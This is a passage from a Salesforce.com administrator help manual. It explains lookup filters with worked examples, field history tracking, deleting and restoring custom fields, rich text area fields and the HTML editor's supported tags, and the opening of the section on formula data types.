a lookup filter criteria is Expected Revenue greater than 100000, the lookup shows all records with an
Expected Revenue field value greater than 100,000, regardless of the currency.
• You can't use special date values, such as “Today” or “This Month,” in lookup filter criteria.
• You can't delete fields that are referenced in an active lookup filter.
• You can't change the field type of fields referenced by an active lookup filter.

Using Lookup Filters with Person Accounts


If your organization uses person accounts, note the following:
• Person Accounts don't support dependent lookups.
• Lookup filter criteria on Account Name only apply to business accounts, not person accounts. For example, if your lookup
filter criteria is Account Name does not contain book, business accounts with "book" in the name, such as John's
Bookstore, are not valid, but person accounts with “book” in the name, such as John Booker, are valid and appear in the
lookup dialog for the Account field. If you need to filter on the name for a person account, use the First Name or Last
Name fields instead.
• Use the Is Person Account field in your lookup filter criteria to restrict the valid values of a lookup field to one type
of account (either person accounts or business accounts). For example, to restrict a lookup to only person accounts, include
the following in your lookup filter criteria: Is Person Account equals True.
• You can't package lookup filters that reference standard fields specific to person accounts, such as the Email and Title
fields.

See Also:
About Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

829
Customize About Custom Fields

Defining Lookup Filters

Available in: All Editions

User Permissions Needed


To define lookup filters: "Customize Application"

Note: Salesforce.com beta features are production-quality but are not functionally complete.

To define a lookup filter:

1. You can create lookup filters for new relationship fields in step 3 of the custom field wizard. To create a lookup filter on
an existing field:

a. Navigate to the fields area of the object that contains the relationship field:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

b. Click Edit next to the name of the lookup or master-detail relationship field to which you want to apply the filter.

2. In the Lookup Filter Options section, click Show Filter Settings.


3. Specify the filter criteria a record must meet to be a valid value. To specify criteria, click Insert Suggested Criteria
and choose from a list of suggested criteria, or manually enter your own criteria. To enter your own criteria:

a. In the first column, click the lookup icon or start typing in the text box and select a field.
b. In the second column, select an operator.
c. In the third column, select Value if Salesforce.com should compare the field in the first column with a static value,
or select Field if Salesforce.com should compare the field in the first column with the value of another field.
d. In the fourth column, enter the value or select the field that Salesforce.com should compare with the field in the first
column.

Note:

• To specify advanced filter conditions, click Advanced Options. See Working with Advanced Filter Conditions
on page 2167.
• You can select from fields on the current record, the lookup object, or the user record. You can also choose
related fields that are one relationship away from the lookup object. Salesforce.com assists you by listing the
available fields and relationships when you click the lookup icon or click inside the text boxes.
• Lookup filter criteria can compare fields of different types as long as they are compatible.

4. Specify whether the filter is required or optional. For fields with optional lookup filters, only values that match the lookup
filter criteria appear in the lookup dialog initially; however, users can click the Show all results link in the lookup dialog
to remove the filter and view all search result values for the lookup field. Also, optional lookup filters allow users to save

830
Customize About Custom Fields

values that don't match the lookup filter criteria, and Salesforce.com does not display an error message if a user tries to
save such values.
For required lookup filters, specify whether you want Salesforce.com to display the standard error message or a custom
message when a user enters an invalid value.
5. Optionally, enter text to display in the lookup search dialog. Consider text that guides users in their searches and explains
the business rule that the lookup filter implements.
6. Leave Active selected.
7. Click Save.

Important: When creating a lookup filter on a master-detail relationship field, verify that the current values of the
field on all of the detail records meet the criteria you specify. If you specify criteria that an existing value doesn't meet,
Salesforce.com prevents the user from saving changes to the detail record. If this occurs, the user must first modify
the value on the master record to meet the criteria. For example, consider a custom object with a master-detail
relationship field that points to accounts. If you define a lookup filter that excludes all accounts with a Create Date
before 01/01/2009, verify that no existing records of that custom object have a master-detail relationship with any
account created before 2009. A quick way to do this is to create a report that shows all accounts with a Create Date
before 01/01/2009.

If at some point you no longer need this lookup filter, return to this page and do one of the following:
Deactivate the lookup filter
Deactivating a lookup filter preserves the lookup filter configuration but:

• Prevents it from applying to the relationship field


• Prevents it from impacting the cross-object references limit
• Removes it as a dependency for fields referenced in the lookup filter criteria

To deactivate the lookup filter, deselect Active, then click Save.

Delete the lookup filter


Deleting a lookup filter permanently removes it. You cannot recover deleted lookup filters. To delete the lookup filter,
click Clear Filter Criteria, then click Save.

Viewing a List of Lookup Filters for a Target Object


You can quickly see a list of all of the lookup filters that restrict the values of each target object. This is useful when creating
similar filters for a target object. Also, lookup filters that reference fields on related objects count against the cross-object
reference limit, which is the number of unique relationships allowed for a target object. The Related Lookup Filters list lets
you see which lookup filters might impact that limit. To see which lookup filters affect the limit for a particular target object:
• For standard objects, click Setup ➤ Customize, select the object from the Customize menu, and click Related Lookup
Filters.

831
Customize About Custom Fields

• For custom objects, click Setup ➤ Create ➤ Objects, select one of the custom objects in the list, and scroll to the Related
Lookup Filters related list.

See Also:
About Lookup Filters
Notes on Lookup Filters
About Dependent Lookups
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Lookup Filter Examples

Available in: All Editions

User Permissions Needed


To define lookup filters: "Customize Application"

Note: Salesforce.com beta features are production-quality but are not functionally complete.

Record Types in Lookup Filters


If the value of a relationship field should only consist of records with a particular record type, specify the record type in a
lookup filter. For example, if the Account Name field on opportunities should only have accounts with a Customer Account
custom record type, define the following lookup filter to restrict users to only creating or editing opportunities associated with
accounts that have a Customer Account record type, excluding accounts with Partner Account and Competitor Account record
types:
Filter Criteria
Account Name: Account Record Type equals value Customer Account

Custom Error Message


Account does not exist or is not a customer account.

Lookup Window Text


You can only associate customer accounts to an opportunity. Search results only
display customer accounts.

Record Status in Lookup Filters


If the value of a relationship field should only consist of records with particular status, specify the status in a lookup filter. For
example, consider a Job Application object with a relationship field that points to the Position object. If the relationship
field should only have open positions, define the following lookup filter to restrict users to only creating or editing job applications
for positions with the Status field set to Open:

832
Customize About Custom Fields

Filter Criteria
Position: Status equals value Open

Custom Error Message


Position does not exist or is not an open position.

Lookup Window Text


You can associate only open positions with job applications. Search results display
open positions only.

Profiles in Lookup Filters


When a business rule does not apply to users with every profile, use the Current User Profile global variable fields to
define lookup filters that only affect users with a particular profile.
For example, the following lookup filter on the Case object Account Name field restricts users with a “Domestic Sales” profile
to only creating or editing opportunities associated with accounts that have a billing country of “USA” while allowing other
users to associate opportunities with any account:
Filter Criteria

1. Current User Profile: Name equals value Domestic Sales


2. Account Name: Billing Country equals value USA
3. Current User Profile: Name not equal to value Domestic Sales

Advanced Criteria
(1 AND 2) OR 3

Custom Error Message


Account does not exist or the account billing country is not USA. Domestic sales
reps can only create opportunities for accounts in the United States.

Lookup Window Text


Search results show only United States accounts in the for domestic sales
representatives.

You can modify the above example to simultaneously restrict users with a “Global Sales” custom profile to only associating
opportunities to accounts with a non-US billing country:
Filter Criteria

1. Current User Profile: Name equals value Global Sales


2. Account Name: Billing Country not equal to value USA
3. Current User Profile: Name equals value Domestic Sales
4. Account Name: Billing Country equals value USA
5. Current User Profile: Name not equal to value Global Sales, Domestic Sales

Advanced Criteria
(1 AND 2) OR (3 AND 4) OR 5

833
Customize About Custom Fields

Custom Error Message


Account does not exist or the account billing country is not in your sales area.
Sales reps can only create opportunities for accounts in their sales area.

Lookup Window Text


Search results only display accounts in your region.

Important: If you do not include line 5 in the filter criteria, users who are not in Global Sales or Domestic Sales
cannot select or save any values on account records.

Roles in Lookup Filters


When a business rule does not apply to users in every role, use the Current User Role global variable fields to define
lookup filters that only affect users with particular roles. For example, in a recruiting application that has a Position object
with a lookup field to a Compensation Package object, you can restrict users from editing or creating positions that have an
executive compensation plan unless they are executive administrators or vice presidents. To do this, define the following lookup
filter on the Position object Compensation Package Name field:
Filter Criteria

1. Current User Role: Name does not start with value VP


2. Current User Role: Name does not equal value Executive Administrator
3. Compensation Package: Plan Type does not equal value Executive
4. Current User Role: Name starts with value VP
5. Current User Role: Name equals value Executive Administrator

Advanced Criteria
((1 OR 2) AND 3) OR (4 OR 5)

Custom Error Message


The compensation plan does not exist, or you have selected an executive compensation
plan but do not have access to create executive positions.

Lookup Window Text


Search results only display compensation plans that are relevant to positions you
are allowed to create.

Important: Include the condition you are testing and the opposite condition. In this example, lines 1, 2, and 3 of
the filter criteria ensure that users who are not VPs or Executive Administrators cannot select Executive compensation
plans, while lines 4 and 5 ensure that VPs and Executive Administrators can select Executive compensation plans.

Blank Values in Lookup Filters


Your lookup filter criteria might reference a field that users often leave blank. You can design your lookup filter criteria to
accept blank values by using the Advanced Options in the filter criteria to create an OR condition. For example, if you have
a Partner Contact custom field on opportunities, restrict the field to only allow contacts that are associated to an account
with a Partner Account record type, or private contacts not associated with any account.
Filter Criteria

1. Partner Contact: Account: Account Record Type equals value Partner Account
2. Partner Contact: Account: Account Name equals value

834
Customize About Custom Fields

Advanced Criteria
1 OR 2

Custom Error Message


The partner contact must be associated with a partner account, or must be a private
contact.

Lookup Window Text


Search results only display contacts from partner accounts or your private contacts.

User IDs in Lookup Filters


Using user IDs in optional lookup filters can significantly improve user efficiency by first showing lookup search dialog results
that are most relevant to the user while still allowing users to see all results if necessary. For example, on a lookup field to
accounts, you can create an optional lookup filter that restricts the search results to accounts that the user owns in the search
lookup dialog results. If the user is looking for an account that someone else owns, the user can remove the filter.
Filter Criteria
Current User: User ID equals Field Account: Owner ID

Lookup Window Text


By default, search results only display accounts you own. To search all accounts,
click “Show all results.”

Simple Dependent Lookups


If the value of a relationship field should depend on the value of another relationship field on the current record, specify the
field to field comparison in the criteria. For example, if the case Contact Name field should only have contacts associated
to the account specified in the case Account Name field, use the following lookup filter:
Filter Criteria
Contact Name: Account ID equals field Case: Account ID

Custom Error Message


Contact does not exist or is not associated to the case account.

Lookup Window Text


Search results only display contacts associated to the case account.

Note: When comparing lookup fields in lookup filter criteria, Salesforce.com always uses the ID of the relationship
field, not the name.

Complex Lookup Filters and Dependent Lookups


Achieving complex business rules with lookup filters often involves combing your rules with advanced options and fields of
various types. For example, consider an app for booking conference rooms that has the following data model:

Object Fields
Meeting • Meeting Name
• Office lookup to the Office object
• Projector Required checkbox

835
Customize About Custom Fields

• Number of Participants number field


• Conference Room lookup to the Conference Room
object

Conference Room • Conference Room Name


• Has Projector checkbox
• Number of Seats Available number field
• Conference Room Location lookup to the Office
object

Office • Office Name

The following lookup filter on the meeting Conference Room field restricts the valid values to conference rooms that have
a projector if the meeting requires one, as well as the necessary number of seats:
Filter Criteria

1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector
2. Meeting: Projector Required equals value False
3. Conference Room: Number of Seats Available greater or equal field Meeting: Number
of Participants

Advanced Criteria
(1 OR 2) AND 3

Custom Error Message


Conference room not found or is insufficient for your meeting.

Lookup Window Text


Search results only display conference rooms that can support your meeting
requirements.

To refine the valid values even further, incorporate the office where the conference room is located:
Filter Criteria

1. Meeting: Projector Required equals field Meeting Conference Room: Has Projector
2. Meeting: Projector Required equals value False
3. Conference Room: Number of Seats Available greater than field Meeting: Number of
Participants
4. Meeting: Office equals Field Conference Room: Conference Room Location

Advanced Criteria
(1 OR 2) AND 3 AND 4

Custom Error Message


Conference room not found or is insufficient for your meeting.

836
Customize About Custom Fields

Lookup Window Text


Search results only display conference rooms that can support your meeting
requirements.

See Also:
About Lookup Filters
Notes on Lookup Filters
About Dependent Lookups
Defining Lookup Filters
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Tracking Field History


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up which fields are tracked: “Customize Application”

You can select certain standard and custom fields to track on the History related list of accounts, cases, contacts, contracts,
leads, opportunities, solutions, and custom objects. Modifying any of these standard or custom fields adds a new entry to the
History related list. All entries include the date, time, nature of the change, and who made the change. History data does not
count against your organization’s storage limit. Note that not all fields types are available for history tracking. .
For more information on tracking field history, see the following:

• Tracking Field History for Standard Objects


• Tracking Field History for Custom Objects
• History Tracking Implementation Tips

Tracking Field History for Standard Objects


You can track field history for:
• Accounts
• Cases
• Contacts
• Entitlements
• Service contracts
• Contract line items
• Contracts
• Leads
• Opportunities
• Solutions

837
Customize About Custom Fields

To set up field history tracking:

1. Click Setup ➤ Customize and select the object you want to configure.
2. Click Fields.
3. Click Set History Tracking.

• For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History,
Enable Lead History, or Enable Opportunity Field History checkbox. Deselect the checkbox if you do
not want to track any changes. If you deselect the checkbox, the History related list is automatically removed from
associated page layouts.
This checkbox is not available for cases, solutions, or contracts because you cannot disable their history tracking. Certain
changes, such as case escalation, are always tracked.
• When you choose the fields you want to track, Salesforce.com begins tracking history from that date and time forward.
Changes made before that date and time are not included. Note that some case, solution, and contract fields are
preselected for history tracking, so changes to those fields are automatically tracked from the time your organization
began using Salesforce.com.

4. Choose the fields you want tracked.


5. Click Save.

Tracking Field History for Custom Objects


To track field history for custom objects:
1. Click Setup ➤ Create ➤ Objects and click Edit next to the name of the custom object.
2. Select the Track Field History checkbox. Deselect the checkbox if you do not want to track any changes. If you
deselect the checkbox, the History related list is automatically removed from the custom object's page layouts.
3. Click Save.
4. Select the name of the custom object.
5. Click Set History Tracking in the Custom Fields & Relationships section. This section allows you to set a custom object's
history tracking for both standard and custom fields.
When you choose the fields you want to track, Salesforce.com begins tracking history from that date and time forward.
Changes made before that date and time are not included.
If you deselected the Track Field History checkbox, the Set History Tracking button does not display.
6. Choose the fields you want tracked.
7. Click Save.

History Tracking Implementation Tips


Administration
• You can select a combination of up to 20 standard and custom fields per object.
• You cannot track the following fields:
- History of formula, roll-up summary, or auto-number
- Created By and Last Modified By
- Expected Revenue field on opportunities
- Master Solution Title or the Master Solution Details fields on solutions; these fields display only for
translated solutions in organizations with multilingual solutions enabled.

• If you use both business accounts and person accounts, review the following before enabling account field history tracking:

838
Customize About Custom Fields

- Field history tracking for accounts affects both business accounts and person accounts.
- A maximum of 20 account fields can be tracked. This limit includes fields on person accounts and business accounts.
- Enabling field history tracking on person accounts does not enable field history tracking on personal contacts.
- To report on person account history, run the Account History report.

• You can report on activated contracts whose fields are tracked by clicking New Custom Report on the Reports tab, selecting
Contract Reports as the data type, and choosing Contract History.
• If you disable field history tracking on an object, you can still report on its history data up to the date and time you disabled
tracking.
• You cannot disable field history tracking for an object if a field on the object is referenced in an Apex script. For more
information, see Force.com Apex Code Overview on page 1538.
• If the parent record in a lookup relationship is deleted, the field history tracking for the child record does not record the
deletion. For example, if a parent account is deleted, the Account History related list for the child account does not show
the deletion.
Customization
• When you enable history tracking for an object, be sure to customize your page layouts to include the object's history related
list. For more information, see Customizing Page Layouts on page 1014.
• You cannot customize which opportunity fields are tracked in the opportunities' Stage History related list; however, you
can choose which opportunity fields are tracked in the Opportunity Field History related list.
• You cannot customize the History related list because it does not store data. The History related list links to data stored
elsewhere.
• When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
• If you disable field history tracking on a custom object, then you cannot report on its field history.
Management
• Changes to fields with more than 255 characters are tracked as edited, and their old and new values are not recorded. For
example, changes to long text area fields are tracked as edited.
• Tracked field values are not automatically translated; they display in the language in which they were made. For example,
if a field value is changed from Green to Verde, Verde is displayed no matter what a user's language is, unless the field
value has been translated into other languages via the Translation Workbench. This also applies to record types and picklist
values.
• Changes to date fields, number fields, and standard field labels are shown in the locale of the user viewing the History
related list. For example, a date change to August 8, 2005 shows as 8/5/2005 for a user with the English (United States)
locale and as 5/8/2005 for a user with the English (United Kingdom) locale.
• Changes to custom field labels that have been translated via the Translation Workbench are shown in the locale of the
user viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then
a user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user will see the custom field label as
Red.
• Changes to the Amount and Quantity fields on opportunities are tracked even when the field is updated as the result of
a change to an opportunity's products or schedules.
• Changes to the Closed When Created field on cases are only tracked when the field is updated via the Force.com API.

839
Customize About Custom Fields

• Field updates are tracked in the History related list if you have set history tracking on those fields.

See Also:
Case History
Solution History
Contract History
About Custom Fields
Deleting Fields

Viewing Fields
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To view the details for a custom or standard field:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.
4. Click the name of the field.
5. From the field detail page, you can:

• Click Edit to modify a custom field or change the custom field's data type. See Changing Custom Field Type on page
986.
• Click Set Field-Level Security to set users' access to the field. Available in Enterprise, Unlimited, and Developer
Edition organizations only.
• Click View Field Accessibility to view who can access the field based on profile and record type. Available in Enterprise,
Unlimited, and Developer Edition organizations only.
• If the field is a dependent picklist, view a list of the controlling fields on which it depends. Click New to define a
dependent picklist. Click Edit to change the picklist dependency rules or Del to remove the picklist dependency. For
information on dependent picklists, see Defining Dependent Picklists on page 804.
• If the custom field is a dependent picklist, click [Change] next to the controlling field to edit the picklist dependency
rules. For information on dependent picklists, see Defining Dependent Picklists on page 804.
• Click New in the Validation Rules related list to create a new validation rule for the field. Click Edit to change a
validation rule or Del to remove it. See Defining Validation Rules on page 892.
• For picklist fields, you can add new values and edit, replace, or delete existing values. See Additional Options for
Updating Picklists on page 799.
• To change (External ID), Required, or other attributes under the General Options section, see Custom Field
Attributes on page 817.
• Click Undelete to restore the field and its data. This is only available if the field has been deleted but not permanently
erased. The field's behavior may be different after restoring it. To restore the field completely, see Managing Deleted
Custom Fields on page 842.

840
Customize About Custom Fields

Note: If your organization uses person accounts, the Account Fields page lists both person account and business
account fields.
Person accounts use a combination of account and contact fields. The following contact fields are available for person
accounts:

• Fields in the Account Standard Fields list that display with a person account icon.
• Fields in the Contact Custom Fields & Relationships list.

These contact fields are not available for business accounts. To customize these fields, go to Setup ➤ Customize ➤
Contacts ➤ Fields.
For more information, see What is a Person Account? on page 54.

See Also:
Customizing Fields
Custom Settings Overview

Deleting Fields
Available in: All Editions

User Permissions Needed


To delete custom fields: “Customize Application”

To delete a custom field:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Del next to the name of the field.
4. When prompted, select the Yes, I want to delete the custom field checkbox to confirm, and click Delete.
Salesforce.com stores deleted custom fields and their data until your organization permanently deletes them or 45 days has
elapsed, whichever happens first. Until that time, you can restore the field and its data. For information on restoring deleted
custom fields and relationships, see Managing Deleted Custom Fields on page 842.

Note:

• Before deleting a custom field, consider where it is referenced. Salesforce.com prevents you from deleting a custom
field that is referenced elsewhere. For example, you cannot delete a custom field that is referenced by a field update
or an Apex script.
• When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.

841
Customize About Custom Fields

• Salesforce.com periodically runs a background process that cleans up metadata associated with deleted custom
fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record
types, and custom objects.

See Also:
Tracking Field History

Managing Deleted Custom Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restore deleted custom fields and relationships: “Customize Application”
To permanently delete custom fields or relationships: “Customize Application”

Salesforce.com stores deleted custom fields and their data until your organization permanently deletes them or 45 days has
elapsed, whichever happens first. Until that time, you can restore the field and its data. However, the field still counts against
the maximum number of custom fields allowed in your organization. To view a list of the maximum number of custom fields
and relationships allowed in your organization, see Salesforce.com Editions and Limits on page 1584.
To view a list of your deleted custom fields and relationships:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Deleted Fields at the bottom of the list of custom fields and relationships. The number in parentheses indicates the
total number of deleted custom fields for this object. This link only displays when you have a deleted custom field.
4. Use the list of deleted fields to perform the following actions:

• To view details about a field, click the field label.


• To permanently remove the custom field and its data, click Erase.
• To restore the field and its data, click Undelete. Some attributes of deleted fields are not restored automatically. To
restore these attributes manually:

a. Add the field to any page layouts that changed during the time the custom field was deleted. If reports and page
layouts were not edited, the restored field remains on them.
b. Make the field unique if necessary. Salesforce.com automatically removes the unique attribute from any deleted
custom field.
c. Make the field required if necessary. Salesforce.com automatically removes the required attribute for any deleted
custom field.
d. Add the custom field to any appropriate Force.com AppExchange packages. Salesforce.com automatically removes
deleted custom fields from packages that contain them.

842
Customize About Custom Fields

e. Convert any lookup relationships to master-detail relationships if necessary. Salesforce.com converts all relationships
to lookup relationships when they are deleted. To convert a lookup relationship to a master-detail relationship,
populate all the applicable records with the appropriate data.
f. Redefine any field dependencies that Salesforce.com removed when the field was deleted.
g. Edit and save any formula fields, prompting a syntax check that you may have to resolve.
h. Set up field history tracking if necessary. If the list of fields enabled for history tracking has been modified during
the time the custom field was deleted, the restored field is no longer set up to track field history.

Notes on Restored Custom Fields


• Salesforce.com appends the following characters to the end of a custom field's developer name when it is deleted unless a
deleted field already has that developer name: “_del.” These characters remain when you restore the custom field.
• Formula fields are restored in a disabled state, which means they do not contain updated data until you edit and save them.
While a formula field is disabled, “#Error!” displays in place of the formula value.
• Restored fields do not display in search results immediately after you restore them. It may take a short time before the
restored custom field and its data is available in search results.
• Lead fields that are mapped to account, contact, or opportunity fields for lead conversion are still mapped accordingly
when restored.
• Auto number fields continue to increment after they are deleted and contain the correct values when restored.
• Field history data for the deleted custom field is restored.

Additional Custom Field Options


Changing Page Layouts
To change the location of a new custom field, edit the page layout for the appropriate tab. See Managing Page Layouts
on page 1012.

Using Record Types


If your organization uses record types, edit the record type to modify which picklist values are visible for the record type.
See Managing Record Types on page 1004.

Tracking Custom Field History


You can select which custom fields to track on the History related list of cases, solutions, and contracts. All entries
include the date, time, nature of the change, and who made the change. History data does not count against your
organization’s storage limit. See Tracking Field History on page 837.

Using the Translation Workbench


If your organization uses the Translation Workbench, notify your translators that new fields need translations. For more
information, see Setting Up the Translation Workbench on page 437.

Activity Custom Fields


Activity custom fields can apply only to tasks or only to events, or to both tasks and events. For example, you can create
one Time Spent field and then add it to both the event page layout and the task page layout.

843
Customize About Custom Fields

Mapping Custom Lead Fields


For lead custom fields, you can click Map Lead Fields to specify which custom lead fields to map to custom account,
contact, and opportunity fields during a lead conversion. See Mapping Custom Lead Fields on page 1072.

See Also:
Changing Custom Field Type

Using Rich Text Area Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields: "Customize Application"

To improve the appearance of text, including adding images and hyperlinks, create rich text area custom fields. Rich text area
fields use the Salesforce.com HTML editor to format content.

Implementation Tips
Before creating rich text area custom fields, note the following:
• Salesforce.com supports up to 32,000 characters for each rich text area field, including the HTML tags. If desired, you
can set a lower limit.
• When you view or print content, Salesforce.com preserves the formatted version of the HTML in rich text area fields.
• Searches of content that contains rich text area fields ignore images and tags.
• Deleting a rich text area field moves it to the Deleted Fields section on the custom object or Salesforce Knowledge article
types.
• Maximum size for uploaded images is 1 MB. Only gif, jpeg and png file types are supported.
• You can only convert rich text area fields into long text area fields. Any images are deleted the next time the long text area
field is saved.
• You can't add a hyperlink to an image.
• There is no support for disabling specific rich text area features. For example, you can't disable support for hyperlinks or
images on certain fields.
• HTML code is not supported in the editor. HTML code is treated as text.
• JavaScript or CSS is treated as text. For example, if you're creating an Idea through the API, any JavaScript or CSS code
is removed without warning.
• If you're creating an Idea through the API, some tags and attributes are filtered without warning. Salesforce.com supports
a limited number of approved HTML tags.
• Inline editing is not supported for rich text area fields.
• Rich text area fields can be filtered and summarized in reports, but the HTML tags are included as text.
• Rich text area fields aren't available in self service portals. They are available in partner portals and customer portals.
• Images uploaded within a rich text area field are extracted in the organization's weekly export and included in the exported
data.

844
Customize About Custom Fields

• The mobile application treats the rich text area field like a long-text area field, which doesn't support formatted HTML
content and images. The mobile application truncates the field at 1,000 characters, and the 1,000 character limit includes
HTML markup. Administrators should consider removing rich text area fields from mobile page layouts. If a mobile user
edits a rich text area field containing an existing text entry over 1,000 characters, the mobile application will truncate the
text in the field.
• The text part of rich text area fields counts towards data storage for the entity that contains the field. The uploaded images
within the rich text area fields are counted towards file storage for the entity that contains the field.
• The rich text area field is available in the API but without support for uploading images.

Best Practices
• You can specify how big the editor box should be for this field by configuring the “Number of lines displayed” property in
the field’s setup.
• We recommend using the rich text area field in a one column page layout; the field's formatting toolbar is ideal for a single
column.

See Also:
Creating Custom Fields
Adding Custom Fields to Article Types

Using the HTML Editor


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields: "Customize Application"

To improve the appearance of text in custom fields, use the Salesforce.com HTML editor to format custom fields that were
defined with the rich text area custom field type. The Salesforce.com HTML editor provides a WYSIWYG interface, allowing
you to perform basic formatting operations. You can:

• Format text as bold, italicized, or underlined


• Create bulleted and numbered lists
• Change paragraph indentation
• Insert hyperlinks to Web pages
• Insert an image

Common scenarios include:

• Formatting resumes submitted by job candidates to create more readable and professional-looking versions for your users
• Emphasizing key points in a Description or Comments field by setting various font options, such as bold typeface and a
larger font size
• Itemizing steps in a numbered or bulleted list to help users better understand a procedure
• Supporting your company's brand identity by specifying the URL of a logo on your website

845
Customize About Custom Fields

• Including a link to a related and accessible page of your company's website

Notes on Using the Salesforce.com HTML Editor


When you use the editor, note the following:
• Because the Salesforce.com HTML editor provides a WYSIWYG interface only, you do not edit HTML tags.
• If you copy content from a Web page and paste it into the editor's window, Salesforce.com automatically removes
unsupported tags and may preserve the text that was enclosed in unsupported tags as plain text. Note that Salesforce.com
does not notify users when it removes unsupported or potentially malicious HTML.
• The maximum number of characters you can enter in the Salesforce.com HTML editor window is equal to the field length
specified when creating or editing the field. The default is 32,000 characters.
• When clicked, hyperlinks open in a new browser window. The Salesforce.com HTML editor supports HTTP, HTTPS,
and mailto hyperlinks.
• When a record is saved, the Salesforce.com HTML editor does not validate hyperlinks to Web pages. Be sure to confirm
that you are specifying a URL that Salesforce.com can access.
• To insert an image, click and either select:
- Web Address tab and enter the URL of the image.
- Upload Image tab and select an image from your localhost. You can only upload JPEG, PNG or GIF. The image you
select cannot exceed 1 Megabyte. You can't add a hyperlink to an image.
Optionally, enter a description that appears when a user hovers over the image. The image must have a URL that
Salesforce.com can access.
• The Salesforce.com HTML editor supports all languages that Salesforce Knowledge supports.
• The Salesforce.com HTML editor does not support JavaScript or Cascading Style Sheets (CSS).
• The Salesforce.com HTML editor is disabled for users who have accessibility mode enabled; it's replaced with a text box.
This text box only accepts HTML and does not recognize plain text entries like carriage returns. To separate content, you
must use paragraph or line break HTML tags.

Supported HTML Tags and Attributes


The Salesforce.com HTML editor supports the tags listed in the following table.

<a> <dt> <q>

<abbr> <em> <samp>

<acronym> <font> <small>

<address> <h1> <span>

<b> <h2> <strike>

<bdo> <h3> <strong>

<big> <h4> <sub>

<blockquote> <h5> <sup>

<br> <h6> <table>

<caption> <hr> <tbody>

<cite> <i> <td>

<code> <img> <tfoot>

846
Customize About Formulas

<col> <ins> <th>

<colgroup> <kbd> <thead>

<dd> <li> <tr>

<del> <ol> <tt>

<dfn> <p> <ul>

<div> <pre> <var>

<dl>

The tags can include the following attributes:

alt face size

background height src

border href style

colspan rowspan width

The attributes can include URLs that begin with the following:
• http:
• https:
• file:
• ftp:
• mailto:
• / for relative links

See Also:
Using Rich Text Area Fields
Enabling Accessibility Mode

About Formulas
Available in: All Editions

A formula is an algorithm that derives its value from other fields, expressions, or values. Formulas can help you automatically
calculate the value of a field based on other fields. Use formulas for:

• Custom Fields
Create custom formula fields that automatically calculate a value based on other values, merge fields, or expressions. Users
can view formula fields on record detail pages but cannot see the underlying algorithm nor can they edit the value of a
formula field. To create a custom formula field, see Building Formulas on page 878.

847
Customize About Formulas

• Default Field Values


Apply a value to a custom field when a user creates a record. Use formulas to define a default value such as TODAY() +
7. See About Default Field Values on page 887.
• Data Validations
Verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation
rule can include a formula such as CloseDate >= TODAY(). See About Validation Rules on page 891.
• Reports
Create custom summary formulas in your reports to calculate additional totals based on the existing summaries in that
report. To begin creating a custom summary formula, see Building Custom Summary Formulas on page 2149.
• Workflow Field Updates
Define field updates to automatically calculate the new value of a field based on a formula. The formula can include other
values, merge fields, or expressions. Then set your workflow rules or approval processes to use these field updates. To define
field updates, see Defining Field Updates on page 1418.
• Workflow Rules
Define the criteria a record must meet to trigger a workflow rule. See Creating Workflow Rules on page 1402.
• Approval Processes
Define the criteria a record must meet to enter the approval process. See Creating Approval Processes on page 1455.
• Approval Steps
Define the criteria a record must meet to enter the approval step. See Creating Approval Steps on page 1460.
• Escalation Rules
Define the conditions that a case must match to be escalated. See Setting Up Escalation Rules on page 1051.
• Assignment Rules
Define the conditions that the lead or case must match for it to be assigned. See Setting Up Assignment Rules on page
1047.
• S-Controls
Define the content for s-controls. See Defining Custom S-Controls on page 1622.
• Custom Buttons and Links
Define the content for custom links and buttons. See Defining Custom Buttons and Links on page 990.
• Visualforce Pages
Define the content for Visualforce pages. See Defining Visualforce Pages on page 1602.

Before building a formula, review the following attributes of a formula:

• Choosing a Formula Data Type


• Elements of a Formula

For common uses of formulas, see Formulas: How Do I... on page 852.

848
Customize About Formulas

Note: Custom formula fields are not available in Connect Offline, Web-to-Lead forms, or Web-to-Case forms.

See Also:
Using Formulas in Salesforce.com

Choosing a Formula Data Type


The data type of a formula determines the type of data you expect returned from your formula. Review the following data
types.

Data Type Description


Currency Returns a number in currency format of up to 18 digits with
a currency sign.
Date Returns data that represents a day on the calendar. The current
date can be acquired by calling the built-in function TODAY()
in a formula. This data type is not available for custom
summary formulas in reports.
Date/time Returns data that represents a moment in time. A date/time
field includes the date and also the time of day including hour,
minutes, and seconds. You can insert the current date and
time in a formula using the NOW() function. This data type
is not available for custom summary formulas in reports.
Number Returns a positive or negative integer or decimal of up to 18
digits.
Percent Returns a number in percent format of up to 18 digits followed
by a percent sign. Percent data is stored as a decimal divided
by 100, which means that 90% is equal to 0.90.
Text Returns a string of up to 3900 characters. To display text in
addition to the formula output, insert that text in quotes. Use
the text data type for text, text area, URL, phone, email,
